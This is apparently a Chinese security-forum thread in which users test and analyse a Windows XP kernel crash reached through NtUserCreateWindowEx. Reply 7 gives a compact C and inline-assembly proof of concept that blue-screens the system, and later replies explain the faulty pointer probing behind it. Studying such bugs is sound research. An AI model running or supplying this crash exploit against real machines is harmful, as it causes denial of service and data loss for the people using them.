能力值:
( LV7,RANK:100 )
2 楼
亲测可行,膜拜!
能力值:
( LV10,RANK:160 )
3 楼
XPSP3 成功BSOD。碉堡了哦
能力值:
( LV2,RANK:10 )
4 楼
那位神人讲讲原理啊~ 我电脑运行直接重启了!
能力值:
( LV4,RANK:40 )
5 楼
大略看了下BSOD的信息
调用RtlpGetIntegerAtom时执行到下面的这一句
if (*Name != L'#') { //执行到这里,因为Name指向NULL,再取它的值用比较就BSOD了
Name这个参数没有做任何检查
能力值:
( LV9,RANK:330 )
6 楼
没敢试...,顶一下。
能力值:
( LV12,RANK:210 )
7 楼
Name检查过了,没检查好。
………………………… UINT c[]={ 0x00000000,0x28001500,0xff7c98cc ,0x23ffffff …………………………
Name没指向NULL,而是指向0xff7c98cc,你把0xff7c98cc改为0x80000000也能蓝
精简一下:
#include <Windows.h>
void _declspec(naked) NtUserCreateWindowEx(ULONG d1,...)
{
__asm
{
mov eax,0x1157
mov edx,7FFE0300h
call dword ptr[edx]
ret 0x3c
}
}
UINT c[]={ 0, 0, 0x80000000 };
void main()
{
LoadLibraryA("user32.dll");
NtUserCreateWindowEx(0,0,c,0,0,0,0,0,0,0,0,0,0);
}
能力值:
( LV4,RANK:40 )
8 楼
感谢LS指正,我可能没表达清楚~~~
原意是想说
f0754b34 805d4604 ff7c98cc f0754b58 00400000 nt!RtlpGetIntegerAtom+0x35
这里的为空的
kd> du ff7c98cc
ff7c98cc "????????????????????????????????"
ff7c990c "????????????????????????????????"
能力值:
( LV7,RANK:100 )
9 楼
LZ是看反汇编代码看出来的吗?
能力值:
( LV12,RANK:440 )
10 楼
顶楼上的问题
能力值:
( LV2,RANK:10 )
11 楼
蓝?..............
能力值:
( LV2,RANK:10 )
12 楼
win2003 测试无结果!
能力值:
( LV13,RANK:290 )
13 楼
不是。
关于漏洞挖掘的资料已经很完善了,虽然具体的东西不一样,但本质都是一样的,灵活运用。
http://sebug.net/paper/Meeting-Documents/syscanhk/AttackingAV_syscan08hk.ppt
http://www.slideshare.net/michelemanzotti/gdi-font-fuzzing-in-windows-kernel-for-fun
能力值:
( LV13,RANK:290 )
14 楼
标题明明写的是XP啊
能力值:
( LV2,RANK:10 )
15 楼
还是看不太懂
能力值:
( LV2,RANK:10 )
16 楼
测试去。。。。。
能力值:
( LV9,RANK:250 )
17 楼
2008也有同样问题不?
能力值:
( LV3,RANK:20 )
18 楼
可惜MS不要XP啊,要不还能换个表扬来安抚一下小内心,哈哈
支持lz.
能力值:
( LV8,RANK:120 )
19 楼
漏洞挖掘?向楼主学习。
能力值:
( LV2,RANK:10 )
20 楼
体验下子。待会儿汇报。。。
能力值:
( LV17,RANK:1820 )
21 楼
膜拜dge大黑阔……
能力值:
( LV2,RANK:10 )
22 楼
看错了,我晕
能力值:
( LV2,RANK:10 )
23 楼
微软也会掉进ProbeForRead陷阱啊,呵呵。
当UNICODE_STRING.Length为0的时候,即使Buffer指向内核地址也可以通过Probe。
本来这样的字符串传递给其他UNICODE_STRING处理函数是不会有问题的,但偏偏NtUserCreateWindowsEx直接调用UserFindAtom,而这个函数只处理NULL结尾字符串,而不是UNICODE_STRING。
能力值:
( LV4,RANK:50 )
24 楼
楼上的zzzevazzz看起好眼熟...不知道是不是N年前那个